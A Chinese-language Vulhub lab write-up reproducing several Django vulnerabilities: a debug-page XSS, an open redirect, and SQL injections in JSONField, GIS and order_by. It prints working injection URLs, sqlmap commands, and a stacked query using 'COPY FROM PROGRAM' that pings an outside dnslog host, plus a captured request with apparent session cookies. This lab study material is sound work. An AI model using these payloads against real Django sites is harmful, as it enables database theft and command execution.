Vulhub 漏洞学习之:Django

1 Django debug page XSS漏洞(CVE-2017-12794)

Django发布了新版本1.11.5,修复了500页面中可能存在的一个XSS漏洞。

  1. 用户注册页面,未检查用户名
  2. 注册一个用户名为<script>alert(1)</script>的用户
  3. 再次注册一个用户名为<script>alert(1)</script>的用户
  4. 触发duplicate key异常,导致XSS漏洞

影响范围

Django1.11.15之前的1.11.x版本

1.1 漏洞利用过程

  1. 访问http://your-ip:8000/create_user/?username=<script>alert(1)</script>创建一个用户,成功;

  2. 再次访问http://your-ip:8000/create_user/?username=<script>alert(1)</script>,触发异常:

  3. Postgres抛出的异常被拼接进The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception,最后触发XSS。

    duplicate key value violates unique constraint "xss_user_username_key"
    DETAIL: Key (username)=(<script>alert(1)</script>) already exists.

2 Django < 2.0.8 任意URL跳转漏洞(CVE-2018-14574)

Django默认配置下,如果匹配上的URL路由中最后一位是/,而用户访问的时候没加/,Django默认会跳转到带/的请求中。(由配置项中的django.middleware.common.CommonMiddlewareAPPEND_SLASH来决定)。

在path开头为//example.com的情况下,Django没做处理,导致浏览器认为目的地址是绝对路径,最终造成任意URL跳转漏洞。

该漏洞利用条件是目标URLCONF中存在能匹配上//example.com的规则。

影响范围

Django1.11.15之前的1.11.x版本

Django2.0.8之前的Django2.0.x版本。

2.1 漏洞利用过程

  1. 环境启动后,访问http://your-ip:8000即可查看网站首页。

  2. 访问http://your-ip:8000//www.example.com,即可返回是301跳转到//www.example.com/

3 Django JSONField/HStoreField SQL注入漏洞(CVE-2019-14234)

Django在2019年8月1日发布了一个安全更新,修复了在JSONField、HStoreField两个模型字段中存在的SQL注入漏洞。

参考链接:

该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。Django自带的后台应用Django-Admin中就存在这样的写法,我们可以直接借助它来复现漏洞。

影响范围

Django (1.11.x) Version < 1.11.23

Django (2.1.x) Version < 2.1.11

Django (2.2.x) Version < 2.2.4 作者:zhzyker https://www.bilibili.com/read/cv4579255/ 出处:bilibili

3.1 漏洞利用过程

  1. 首先登陆后台http://your-ip:8000/admin/,用户名密码为admina123123123

  2. 登陆后台后,进入模型Collection的管理页面http://your-ip:8000/admin/vuln/collection/

  3. 然后在GET参数中构造detail__'123提交,其中detail是模型Collection中的JSONField:

    http://192.168.210.13:8000/admin/vuln/collection/?detail__%27123

    单引号已注入成功,SQL语句报错:

  4. 使用 Sqlmap 枚举数据库

    sqlmap -r "post.txt" --dbms=postgresql --batch --level=5 --dbs
    
    # post.txt
    GET /admin/vuln/collection/?detail__* HTTP/1.1
    Host: 192.168.210.13:8000
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; IkT_sid=F200j0; IkT_visitedfid=2; Oek8_2132_saltkey=aKN5TCzQ; Oek8_2132_lastvisit=1642753250; Oek8_2132_ulastactivity=7c78015gAzgUhYx8Y4X7%2B%2FnyKuy1qm4chQpov2yIDC0MSju5YSLC; Oek8_2132_nofavfid=1; Oek8_2132_home_readfeed=1642757408; Oek8_2132_lastcheckfeed=2%7C1642757965; A3bB_2132_saltkey=nv2n2105; A3bB_2132_lastvisit=1642756702; A3bB_2132_ulastactivity=22c6t2t9S2N%2FpQagilNZI0bn%2FoDOUFZ90Bl0uHoyJmzIuaLqgmlK; A3bB_2132_nofavfid=1; A3bB_2132_lastcheckfeed=2%7C1642760420; csrftoken=aSm6HMGLeiaGH9TceWw0HypHtz6T8ALorwm0TjrHI2UN0GZk4z2uSUGTnU6yJGGI; sessionid=vy0qg4zfhtb2ilphmo3gb5w17xpckv3f
    Upgrade-Insecure-Requests: 1

  5. 也可以执行命令

    1. 构造shell,创建cmd_exec

      http://ip:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20

    2. 执行命令

      http://ip:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%201orth7.dnslog.cn%27--%20

4 Django GIS SQL注入漏洞(CVE-2020-9402)

Django在2020年3月4日发布了一个安全更新,修复了在GIS 查询功能中存在的SQL注入漏洞。

参考链接:

该漏洞需要开发者使用了GIS中聚合查询的功能,用户在oracle的数据库且可控tolerance查询时的键名,在其位置注入SQL语句。

影响范围

Django 1.11.29之前的1.11.x版本

2.2.11之前的2.2.x版本

3.0.4之前的3.0.x版本

4.1 漏洞利用过程

  1. 环境启动后,访问http://your-ip:8000即可看到Django默认首页。

4.1.1 漏洞一

  1. 首先访问http://your-ip:8000/vuln/。在该网页中使用get方法构造q的参数,构造SQL注入的字符串20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1

    http://your-ip:8000/vuln/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1
  2. SQL语句查询报错:

  3. 使用 Sqlmap 枚举数据库

    sqlmap -u "http://192.168.210.13:8000/vuln/?q=*" --batch --dbms=oracle --dbs

4.1.2 漏洞二

  1. 访问http://your-ip:8000/vuln2/。 在该网页中使用get方法构造q的参数,构造出SQL注入的字符串0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --

    http://your-ip:8000/vuln2/?q=0.05)))%20FROM%20%22VULN_COLLECTION2%22%20%20where%20%20(select%20utl_inaddr.get_host_name((SELECT%20user%20FROM%20DUAL))%20from%20dual)%20is%20not%20null%20%20--
  2. SQL语句查询报错:

  3. 使用 Sqlmap 枚举数据库

    sqlmap -u "http://192.168.210.13:8000/vuln2/?q=*" --batch --dbms=oracle --dbs

5 Django QuerySet.order_by() SQL注入漏洞(CVE-2021-35042)

Django 3.2.4 在2021年7月1日发布了一个安全更新,修复了在QuerySet底下的order_by函数中存在的SQL注入漏洞

参考链接:

该漏洞需要用户可控order_by传入的值,在预期列的位置注入SQL语句。

影响范围

Django 1.11.29之前的1.11

5.1 漏洞利用过程

  1. 环境启动后,访问http://your-ip:8000即可看到Django默认首页。

  2. 访问页面http://your-ip:8000/vuln/,在GET参数中构造order=-id,会得到根据id降序排列的结果:

    http://your-ip:8000/vuln/?order=-id

  3. 再构造GET参数order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23提交,其中vuln_collectionvuln应用下的模型Collection

    http://your-ip:8000/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23
  4. 成功注入SQL语句,利用堆叠注入获得信息:

  5. sqlmap

    sqlmap -u "http://192.168.210.13:8000/vuln/?order=vuln_collection.name*" --dbms=mysql --batch --dbs

Vulhub 漏洞学习之:Django的更多相关文章

  1. vulhub漏洞环境

    0x00 vulhub介绍 Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更 ...

  2. FastJson远程命令执行漏洞学习笔记

    FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...

  3. python学习笔记--Django入门四 管理站点--二

    接上一节  python学习笔记--Django入门四 管理站点 设置字段可选 编辑Book模块在email字段上加上blank=True,指定email字段为可选,代码如下: class Autho ...

  4. Django学习之django自带的contentType表 GenericRelation GenericForeignKey

    Django学习之django自带的contentType表   通过django的contentType表来搞定一个表里面有多个外键的简单处理: 摘自:https://blog.csdn.net/a ...

  5. XSS漏洞学习笔记

    XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...

  6. day 94 Django学习之django自带的contentType表

    Django学习之django自带的contentType表   通过django的contentType表来搞定一个表里面有多个外键的简单处理: 摘自:https://blog.csdn.net/a ...

  7. 学习了django对于sqlite3进行了了解,谈谈看法

    学习了django对于sqlite3进行了了解,谈谈看法 由于django默认使用的是sqlite3,写了几个建表语句, 然后数据做下迁移,其实就是建表语句的执行. 一直对sqlite3没有一个直观的 ...

  8. day 93 Django学习之django自带的contentType表

    Django学习之django自带的contentType表   通过django的contentType表来搞定一个表里面有多个外键的简单处理: 摘自:https://blog.csdn.net/a ...

  9. Typecho-反序列化漏洞学习

    目录 Typecho-反序列化漏洞学习 0x00 前言 0x01 分析过程 0x02 调试 0x03 总结 0xFF 参考 Typecho-反序列化漏洞学习 0x00 前言 补丁: https://g ...

  10. Django学习之django自带的contentType表

    Django学习之django自带的contentType表 通过django的contentType表来搞定一个表里面有多个外键的简单处理: 摘自:https://blog.csdn.net/aar ...

随机推荐

  1. day32 6 请求转发与重定向的区别、session会话对象 & cookie & 8 应用程序上下文对象ServletContext & 5 请求转发与jsp页面内置对象

    1 请求转发与重定向的区别 2 session与cookie的区别 3 过滤器与监听器的区别 4 web-inf目录 web-inf目录是安全目录,无法从客户端访问,只能通过(服务端的)servlet ...

  2. 快速绘制流程图「GitHub 热点速览 v.22.47」

    画流程图一直是研发的一个难题,如何画得通俗易懂已经够让人头疼了,还要美观大方.用 d2 的语法描述下流程,d2 会自动帮你生成一张配色极佳的流程图.说到研发的选择,本周特推的 choiceof.dev ...

  3. 基于pyecharts的中医药知识图谱可视化

    基于pyecharts的中医药知识图谱可视化 关键词: pyecharts:可视化:中医药知识图谱 摘要: 数据可视化是一种直观展示数据结果和变化情况的方法,可视化有助于知识发现与应用.Neo4j数据 ...

  4. Day37:正则表达式详解

    正则表达式 1.1 概述 正则表达式可以用一些规定的字符来制定规则,并用来校验数据格式的合法性. 比如我们在网站上输入用户账号,要求我们输入的账号信息要符合账号的格式,而校验我们输入的账号格式是否正确 ...

  5. NeurIPS 2022:基于语义聚合的对比式自监督学习方法

    摘要:该论文将同一图像不同视角图像块内的语义一致的图像区域视为正样本对,语义不同的图像区域视为负样本对. 本文分享自华为云社区<[NeurIPS 2022]基于语义聚合的对比式自监督学习方法&g ...

  6. django.db.migrations.exceptions.NodeNotFoundError: Migration apitest.0001_initial dependencies reference nonexistent parent node ('product', '0001_initial')

    执行python manage.py makemigrations时出现以下错误 D:\autotestplat>python manage.py makemigrations Tracebac ...

  7. 解读JVM级别本地缓存Caffeine青出于蓝的要诀3 —— 讲透Caffeine的数据驱逐淘汰机制与用法

    大家好,又见面了. 本文是笔者作为掘金技术社区签约作者的身份输出的缓存专栏系列内容,将会通过系列专题,讲清楚缓存的方方面面.如果感兴趣,欢迎关注以获取后续更新. 上一篇文章中,我们聊了下Caffein ...

  8. WPF 自定义附加事件

    我们都知道路由事件,而附加事件用的比较少. 但如果是通用的场景,类似附加属性,附加事件就很有必要的. 举个例子,输入设备有很多种,WPF中输入事件主要分为鼠标.触摸.触笔:WPF 屏幕点击的设备类型 ...

  9. [深度学习] CNN的基础结构与核心思想

    1. 概述 卷积神经网络是一种特殊的深层的神经网络模型,它的特殊性体现在两个方面,一方面它的神经元间的连接是非全连接的, 另一方面同一层中某些神经元之间的连接的权重是共享的(即相同的).它的非全连接和 ...

  10. 初探富文本之OT协同算法

    初探富文本之OT协同算法 OT的英文全称是Operational Transformation,是一种处理协同编辑的算法.当前OT算法用的比较多的地方就是富文本编辑器领域了,常用于作为实现文档协同的底 ...